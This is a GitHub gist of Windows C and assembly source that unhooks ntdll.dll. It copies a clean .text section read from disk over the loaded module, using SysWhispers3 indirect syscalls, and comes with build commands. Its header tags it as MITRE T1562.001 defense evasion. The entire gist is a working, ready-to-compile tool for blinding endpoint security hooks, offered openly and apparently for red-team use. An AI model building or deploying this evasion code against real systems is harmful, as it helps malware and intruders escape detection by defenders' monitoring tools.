Last active
June 23, 2024 21:16
-
-
Save wizardy0ga/84741cd1f86bc7493abdad1e01b3053c to your computer and use it in GitHub Desktop.
Unhook NTDLL using a copy read from disk with indirect syscalls
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Author: | |
wizardy0ga | |
Date: | |
June 2024 | |
Tested on: | |
Windows 10 19045.4529 | |
Arch: | |
x64 | |
Compiler: | |
MSVC | |
Compilation: | |
ML64 /c syscalls-asm.x64.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64 | |
cl.exe syscalls.c main.c | |
link.exe /OUT:UnhookNtDllFromDiskSyscalls.exe -nologo libvcruntime.lib libcmt.lib ucrt.lib kernel32.lib /MACHINE:X64 -subsystem:console -nodefaultlib syscalls-asm.x64.obj syscalls.obj main.obj | |
Mitre: | |
Execution: | |
T1106 - Native API | |
Defense Evasion: | |
T1562.001 - Impair Defenses: Disable or Modify Tools | |
Description: | |
Unhook ntdll using a fresh copy read from disk with indirect syscalls generated from syswhispers3 | |
*/ | |
#include "syscalls.h" | |
#include "stdio.h" | |
#define OBJ_CASE_INSENSITIVE 0x00000040L | |
#define FILE_OPEN 0x00000001 | |
#define FILE_NON_DIRECTORY_FILE 0x00000040 | |
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 | |
typedef struct _PEB_LDR_DATA { | |
BYTE Reserved1[8]; | |
PVOID Reserved2[3]; | |
LIST_ENTRY InMemoryOrderModuleList; | |
} PEB_LDR_DATA, * PPEB_LDR_DATA; | |
typedef struct _LDR_DATA_TABLE_ENTRY { | |
PVOID Reserved1[2]; | |
LIST_ENTRY InMemoryOrderLinks; | |
PVOID Reserved2[2]; | |
PVOID DllBase; | |
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; | |
typedef struct _PEB { | |
BYTE Reserved1[2]; | |
BYTE BeingDebugged; | |
BYTE Reserved2[1]; | |
PVOID Reserved3[2]; | |
PPEB_LDR_DATA Ldr; | |
} PEB, * PPEB; | |
typedef VOID(NTAPI* fpRtlInitUnicodeString) ( | |
PUNICODE_STRING DestinationString, | |
__drv_aliasesMem PCWSTR SourceString | |
); | |
PVOID GetNtDllFromDisk() { | |
OBJECT_ATTRIBUTES OA = { 0 }; | |
IO_STATUS_BLOCK IOSB = { 0 }; | |
UNICODE_STRING Str = { 0 }; | |
PVOID pNtDllBuf = NULL; | |
WCHAR NtDll[] = L"\\??\\\\C:\\Windows\\System32\\ntdll.dll"; | |
HANDLE hFile = NULL; | |
SIZE_T FileSize = 0; | |
NTSTATUS Status = 0; | |
/* Init unicode string structure & object attributes structure */ | |
fpRtlInitUnicodeString RtlInitUnicodeString = (fpRtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString"); | |
if (!RtlInitUnicodeString) { | |
printf("Failed to resolve address for RtlInitUnicodeString\n"); return NULL; | |
} | |
RtlInitUnicodeString(&Str, NtDll); | |
InitializeObjectAttributes(&OA, &Str, OBJ_CASE_INSENSITIVE, NULL, NULL); | |
/* Get a handle to ntdll.dll */ | |
Status = Sw3NtCreateFile( | |
&hFile | |
, FILE_READ_ATTRIBUTES | GENERIC_READ | SYNCHRONIZE | |
, &OA | |
, &IOSB | |
, 0 | |
, FILE_ATTRIBUTE_NORMAL | |
, FILE_SHARE_READ | |
, FILE_OPEN | |
, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | |
, NULL | |
, 0 | |
); | |
if (Status != 0x0) { | |
printf("NtCreateFile failed with error: 0x%0.8X\n", Status); return NULL; | |
} | |
if (hFile == INVALID_HANDLE_VALUE) { | |
printf("File handle is not valid\n"); return NULL; | |
} | |
printf("Got handle to %S\n", Str.Buffer); | |
/* Allocate memory to write the ntdll image to from disk */ | |
FileSize = (SIZE_T)GetFileSize(hFile, NULL); | |
Status = Sw3NtAllocateVirtualMemory( | |
(HANDLE)-1 | |
, &pNtDllBuf | |
, 0 | |
, &FileSize | |
, MEM_COMMIT | MEM_RESERVE | |
, PAGE_READWRITE | |
); | |
if (Status != 0x0) { | |
printf("NtAllocateVirtualMemory failed with error: 0x%0.8X\n", Status); return NULL; | |
} | |
printf("Allocated %lld byte buffer at 0x%p\n", FileSize, pNtDllBuf); | |
/* Read contents of ntdll on disk into memory */ | |
Status = Sw3NtReadFile( | |
hFile | |
, NULL | |
, NULL | |
, NULL | |
, &IOSB | |
, pNtDllBuf | |
, (ULONG)FileSize | |
, 0 | |
, NULL | |
); | |
if (Status != 0x00000000) { | |
printf("NtReadFile failed with error: 0x%0.8X\n", Status); return NULL; | |
} | |
printf("Read %lld bytes from %S into buffer at 0x%p\n", FileSize, Str.Buffer, pNtDllBuf); | |
return pNtDllBuf; | |
} | |
BOOL UnHookNtDll(PVOID pRemoteNtDll) { | |
NTSTATUS Status = 0; | |
ULONG OldProtection = 0; | |
/* Get the base address of ntdll from the PEB. Function assumes ntdll is the second entry. Not guaranteed to always work. */ | |
PPEB pPeb = (PPEB)__readgsqword(0x60); | |
PLDR_DATA_TABLE_ENTRY pNtDllLdrEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10); | |
PVOID pLocalNtDll = pNtDllLdrEntry->DllBase; | |
if (!pPeb || !pNtDllLdrEntry || !pLocalNtDll) { | |
printf("Failed to locate ntdll in process environment block. Quitting.\n"); return FALSE; | |
} | |
/* Get the local & remote ntdll text sections */ | |
PIMAGE_DOS_HEADER pLocalDos = (PIMAGE_DOS_HEADER)pLocalNtDll; | |
if (pLocalDos->e_magic != IMAGE_DOS_SIGNATURE) { | |
printf("Local ntdll DOS header mismatch. Quitting.\n"); return FALSE; | |
} | |
PIMAGE_NT_HEADERS pLocalNt = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtDll + pLocalDos->e_lfanew); | |
if (pLocalNt->Signature != IMAGE_NT_SIGNATURE) { | |
printf("Local ntdll NT Header mismatch. Quitting.\n"); return FALSE; | |
} | |
PIMAGE_DOS_HEADER pRemoteDos = (PIMAGE_DOS_HEADER)pRemoteNtDll; | |
if (pRemoteDos->e_magic != IMAGE_DOS_SIGNATURE) { | |
printf("Remote ntdll DOS header mismatch. Quitting.\n"); return FALSE; | |
} | |
PIMAGE_NT_HEADERS pRemoteNt = (PIMAGE_NT_HEADERS)((PBYTE)pRemoteNtDll + pRemoteDos->e_lfanew); | |
if (pRemoteNt->Signature != IMAGE_NT_SIGNATURE) { | |
printf("Remote ntdll NT header mismatch. Quitting.\n"); return FALSE; | |
} | |
PVOID pLocalNtDllTxt = (PVOID)((ULONG_PTR)pLocalNtDll + pLocalNt->OptionalHeader.BaseOfCode); | |
PVOID pRemoteNtDllTxt = (PVOID)((ULONG_PTR)pRemoteNtDll + 1024); | |
SIZE_T NtDllTxtSize = pLocalNt->OptionalHeader.SizeOfCode; | |
if (!pLocalNtDllTxt || !pRemoteNtDllTxt || !NtDllTxtSize) { | |
printf("Error while parsing text section of ntdll image.\n"); return FALSE; | |
} | |
/* Copy the remote ntdll text section into the local ntdll text section. */ | |
Status = Sw3NtProtectVirtualMemory( | |
(HANDLE)-1 | |
, &pLocalNtDllTxt | |
, &NtDllTxtSize | |
, (ULONG)PAGE_EXECUTE_WRITECOPY | |
, &OldProtection | |
); | |
if (Status != 0x0) { | |
printf("NtProtectVirtualMemory [WCX] failed with error: 0x%0.8X\n", Status); return FALSE; | |
} | |
memcpy(pLocalNtDllTxt, pRemoteNtDllTxt, NtDllTxtSize); | |
Status = Sw3NtProtectVirtualMemory( | |
(HANDLE)-1 | |
, &pLocalNtDllTxt | |
, &NtDllTxtSize | |
, OldProtection | |
, &OldProtection | |
); | |
if (Status != 0x0) { | |
printf("NtProtectVirtualMemory [Return to normal] failed with error: 0x%0.8X\n", Status); return FALSE; | |
} | |
return TRUE; | |
} | |
int main() { | |
printf("Press enter to begin."); getchar(); | |
PVOID pNtDll = GetNtDllFromDisk(); | |
if (pNtDll == NULL) { | |
return -1; | |
} | |
if (!UnHookNtDll(pNtDll)) { | |
return -1; | |
} | |
printf("Copied ntdll txt section from disk into ntdll in memory\nPress enter to quit."); | |
getchar(); | |
return 0; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
COMMENT @ | |
This x64 masm assembly was generated with syswhispers 3. | |
Reference: | |
https://github.com/klezVirus/SysWhispers3 | |
@ | |
.code | |
EXTERN SW3_GetSyscallNumber: PROC | |
EXTERN SW3_GetSyscallAddress: PROC | |
Sw3NtCreateFile PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 066DEA7FAh ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 066DEA7FAh ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtCreateFile ENDP | |
Sw3NtProtectVirtualMemory PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 0990B819Bh ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 0990B819Bh ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtProtectVirtualMemory ENDP | |
Sw3NtAllocateVirtualMemory PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 003922F35h ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 003922F35h ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtAllocateVirtualMemory ENDP | |
Sw3NtReadFile PROC | |
mov [rsp +8], rcx ; Save registers. | |
mov [rsp+16], rdx | |
mov [rsp+24], r8 | |
mov [rsp+32], r9 | |
sub rsp, 28h | |
mov ecx, 0DC7D964Ah ; Load function hash into ECX. | |
call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. | |
mov r11, rax ; Save the address of the syscall | |
mov ecx, 0DC7D964Ah ; Re-Load function hash into ECX (optional). | |
call SW3_GetSyscallNumber ; Resolve function hash into syscall number. | |
add rsp, 28h | |
mov rcx, [rsp+8] ; Restore registers. | |
mov rdx, [rsp+16] | |
mov r8, [rsp+24] | |
mov r9, [rsp+32] | |
mov r10, rcx | |
jmp r11 ; Jump to -> Invoke system call. | |
Sw3NtReadFile ENDP | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Source file was generated with syswhispers3. | |
Reference: | |
https://github.com/klezVirus/SysWhispers3 | |
*/ | |
#include "syscalls.h" | |
#include <stdio.h> | |
//#define DEBUG | |
#define JUMPER | |
#ifdef _M_IX86 | |
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { | |
return (PVOID)__readfsdword(0xC0); | |
} | |
__declspec(naked) BOOL local_is_wow64(void) | |
{ | |
__asm { | |
mov eax, fs:[0xc0] | |
test eax, eax | |
jne wow64 | |
mov eax, 0 | |
ret | |
wow64: | |
mov eax, 1 | |
ret | |
} | |
} | |
#endif | |
// Code below is adapted from @modexpblog. Read linked article for more details. | |
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams | |
SW3_SYSCALL_LIST SW3_SyscallList; | |
// SEARCH_AND_REPLACE | |
#ifdef SEARCH_AND_REPLACE | |
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release | |
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); | |
#endif | |
DWORD SW3_HashSyscall(PCSTR FunctionName) | |
{ | |
DWORD i = 0; | |
DWORD Hash = SW3_SEED; | |
while (FunctionName[i]) | |
{ | |
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); | |
Hash ^= PartialName + SW3_ROR8(Hash); | |
} | |
return Hash; | |
} | |
#ifndef JUMPER | |
PVOID SC_Address(PVOID NtApiAddress) | |
{ | |
return NULL; | |
} | |
#else | |
PVOID SC_Address(PVOID NtApiAddress) | |
{ | |
DWORD searchLimit = 512; | |
PVOID SyscallAddress; | |
#ifdef _WIN64 | |
// If the process is 64-bit on a 64-bit OS, we need to search for syscall | |
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; | |
ULONG distance_to_syscall = 0x12; | |
#else | |
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter | |
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; | |
ULONG distance_to_syscall = 0x0f; | |
#endif | |
#ifdef _M_IX86 | |
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved | |
if (local_is_wow64()) | |
{ | |
#ifdef DEBUG | |
printf("[+] Running 32-bit app on x64 (WOW64)\n"); | |
#endif | |
return NULL; | |
} | |
#endif | |
// we don't really care if there is a 'jmp' between | |
// NtApiAddress and the 'syscall; ret' instructions | |
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); | |
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) | |
{ | |
// we can use the original code for this system call :) | |
#if defined(DEBUG) | |
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); | |
#endif | |
return SyscallAddress; | |
} | |
// the 'syscall; ret' intructions have not been found, | |
// we will try to use one near it, similarly to HalosGate | |
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) | |
{ | |
// let's try with an Nt* API below our syscall | |
SyscallAddress = SW3_RVA2VA( | |
PVOID, | |
NtApiAddress, | |
distance_to_syscall + num_jumps * 0x20); | |
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) | |
{ | |
#if defined(DEBUG) | |
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); | |
#endif | |
return SyscallAddress; | |
} | |
// let's try with an Nt* API above our syscall | |
SyscallAddress = SW3_RVA2VA( | |
PVOID, | |
NtApiAddress, | |
distance_to_syscall - num_jumps * 0x20); | |
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) | |
{ | |
#if defined(DEBUG) | |
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); | |
#endif | |
return SyscallAddress; | |
} | |
} | |
#ifdef DEBUG | |
printf("Syscall Opcodes not found!\n"); | |
#endif | |
return NULL; | |
} | |
#endif | |
BOOL SW3_PopulateSyscallList() | |
{ | |
// Return early if the list is already populated. | |
if (SW3_SyscallList.Count) return TRUE; | |
#ifdef _WIN64 | |
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); | |
#else | |
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); | |
#endif | |
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; | |
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; | |
PVOID DllBase = NULL; | |
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second | |
// in the list, so it's safer to loop through the full list and find it. | |
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; | |
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) | |
{ | |
DllBase = LdrEntry->DllBase; | |
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; | |
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); | |
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; | |
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; | |
if (VirtualAddress == 0) continue; | |
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); | |
// If this is NTDLL.dll, exit loop. | |
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); | |
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; | |
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; | |
} | |
if (!ExportDirectory) return FALSE; | |
DWORD NumberOfNames = ExportDirectory->NumberOfNames; | |
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); | |
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); | |
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); | |
// Populate SW3_SyscallList with unsorted Zw* entries. | |
DWORD i = 0; | |
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; | |
do | |
{ | |
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); | |
// Is this a system call? | |
if (*(USHORT*)FunctionName == 0x775a) | |
{ | |
Entries[i].Hash = SW3_HashSyscall(FunctionName); | |
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; | |
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); | |
i++; | |
if (i == SW3_MAX_ENTRIES) break; | |
} | |
} while (--NumberOfNames); | |
// Save total number of system calls found. | |
SW3_SyscallList.Count = i; | |
// Sort the list by address in ascending order. | |
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) | |
{ | |
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) | |
{ | |
if (Entries[j].Address > Entries[j + 1].Address) | |
{ | |
// Swap entries. | |
SW3_SYSCALL_ENTRY TempEntry; | |
TempEntry.Hash = Entries[j].Hash; | |
TempEntry.Address = Entries[j].Address; | |
TempEntry.SyscallAddress = Entries[j].SyscallAddress; | |
Entries[j].Hash = Entries[j + 1].Hash; | |
Entries[j].Address = Entries[j + 1].Address; | |
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; | |
Entries[j + 1].Hash = TempEntry.Hash; | |
Entries[j + 1].Address = TempEntry.Address; | |
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; | |
} | |
} | |
} | |
return TRUE; | |
} | |
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) | |
{ | |
// Ensure SW3_SyscallList is populated. | |
if (!SW3_PopulateSyscallList()) return -1; | |
for (DWORD i = 0; i < SW3_SyscallList.Count; i++) | |
{ | |
if (FunctionHash == SW3_SyscallList.Entries[i].Hash) | |
{ | |
return i; | |
} | |
} | |
return -1; | |
} | |
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) | |
{ | |
// Ensure SW3_SyscallList is populated. | |
if (!SW3_PopulateSyscallList()) return NULL; | |
for (DWORD i = 0; i < SW3_SyscallList.Count; i++) | |
{ | |
if (FunctionHash == SW3_SyscallList.Entries[i].Hash) | |
{ | |
return SW3_SyscallList.Entries[i].SyscallAddress; | |
} | |
} | |
return NULL; | |
} | |
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) | |
{ | |
// Ensure SW3_SyscallList is populated. | |
if (!SW3_PopulateSyscallList()) return NULL; | |
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count; | |
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){ | |
// Spoofing the syscall return address | |
index = ((DWORD) rand()) % SW3_SyscallList.Count; | |
} | |
return SW3_SyscallList.Entries[index].SyscallAddress; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Header file was generated with syswhispers3. | |
Reference: | |
https://github.com/klezVirus/SysWhispers3 | |
*/ | |
#pragma once | |
// Code below is adapted from @modexpblog. Read linked article for more details. | |
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams | |
#ifndef SW3_HEADER_H_ | |
#define SW3_HEADER_H_ | |
#include <windows.h> | |
#ifndef _NTDEF_ | |
typedef _Return_type_success_(return >= 0) LONG NTSTATUS; | |
typedef NTSTATUS* PNTSTATUS; | |
#endif | |
#define SW3_SEED 0x4F7975E5 | |
#define SW3_ROL8(v) (v << 8 | v >> 24) | |
#define SW3_ROR8(v) (v >> 8 | v << 24) | |
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) | |
#define SW3_MAX_ENTRIES 600 | |
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) | |
// Typedefs are prefixed to avoid pollution. | |
typedef struct _SW3_SYSCALL_ENTRY | |
{ | |
DWORD Hash; | |
DWORD Address; | |
PVOID SyscallAddress; | |
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY; | |
typedef struct _SW3_SYSCALL_LIST | |
{ | |
DWORD Count; | |
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; | |
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST; | |
typedef struct _SW3_PEB_LDR_DATA { | |
BYTE Reserved1[8]; | |
PVOID Reserved2[3]; | |
LIST_ENTRY InMemoryOrderModuleList; | |
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA; | |
typedef struct _SW3_LDR_DATA_TABLE_ENTRY { | |
PVOID Reserved1[2]; | |
LIST_ENTRY InMemoryOrderLinks; | |
PVOID Reserved2[2]; | |
PVOID DllBase; | |
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY; | |
typedef struct _SW3_PEB { | |
BYTE Reserved1[2]; | |
BYTE BeingDebugged; | |
BYTE Reserved2[1]; | |
PVOID Reserved3[2]; | |
PSW3_PEB_LDR_DATA Ldr; | |
} SW3_PEB, *PSW3_PEB; | |
DWORD SW3_HashSyscall(PCSTR FunctionName); | |
BOOL SW3_PopulateSyscallList(); | |
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); | |
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); | |
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); | |
#ifndef InitializeObjectAttributes | |
#define InitializeObjectAttributes( p, n, a, r, s ) { \ | |
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ | |
(p)->RootDirectory = r; \ | |
(p)->Attributes = a; \ | |
(p)->ObjectName = n; \ | |
(p)->SecurityDescriptor = s; \ | |
(p)->SecurityQualityOfService = NULL; \ | |
} | |
#endif | |
typedef struct _UNICODE_STRING | |
{ | |
USHORT Length; | |
USHORT MaximumLength; | |
PWSTR Buffer; | |
} UNICODE_STRING, *PUNICODE_STRING; | |
typedef struct _IO_STATUS_BLOCK | |
{ | |
union | |
{ | |
NTSTATUS Status; | |
VOID* Pointer; | |
}; | |
ULONG_PTR Information; | |
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; | |
typedef struct _OBJECT_ATTRIBUTES | |
{ | |
ULONG Length; | |
HANDLE RootDirectory; | |
PUNICODE_STRING ObjectName; | |
ULONG Attributes; | |
PVOID SecurityDescriptor; | |
PVOID SecurityQualityOfService; | |
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; | |
typedef VOID(NTAPI* PIO_APC_ROUTINE) ( | |
IN PVOID ApcContext, | |
IN PIO_STATUS_BLOCK IoStatusBlock, | |
IN ULONG Reserved); | |
EXTERN_C NTSTATUS Sw3NtCreateFile( | |
OUT PHANDLE FileHandle, | |
IN ACCESS_MASK DesiredAccess, | |
IN POBJECT_ATTRIBUTES ObjectAttributes, | |
OUT PIO_STATUS_BLOCK IoStatusBlock, | |
IN PLARGE_INTEGER AllocationSize OPTIONAL, | |
IN ULONG FileAttributes, | |
IN ULONG ShareAccess, | |
IN ULONG CreateDisposition, | |
IN ULONG CreateOptions, | |
IN PVOID EaBuffer OPTIONAL, | |
IN ULONG EaLength); | |
EXTERN_C NTSTATUS Sw3NtProtectVirtualMemory( | |
IN HANDLE ProcessHandle, | |
IN OUT PVOID * BaseAddress, | |
IN OUT PSIZE_T RegionSize, | |
IN ULONG NewProtect, | |
OUT PULONG OldProtect); | |
EXTERN_C NTSTATUS Sw3NtAllocateVirtualMemory( | |
IN HANDLE ProcessHandle, | |
IN OUT PVOID * BaseAddress, | |
IN ULONG ZeroBits, | |
IN OUT PSIZE_T RegionSize, | |
IN ULONG AllocationType, | |
IN ULONG Protect); | |
EXTERN_C NTSTATUS Sw3NtReadFile( | |
IN HANDLE FileHandle, | |
IN HANDLE Event OPTIONAL, | |
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, | |
OUT PVOID ApcContext OPTIONAL, | |
OUT PIO_STATUS_BLOCK IoStatusBlock, | |
IN PVOID Buffer, | |
IN ULONG Length, | |
IN PLARGE_INTEGER ByteOffset OPTIONAL, | |
IN PULONG Key OPTIONAL); | |
#endif |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment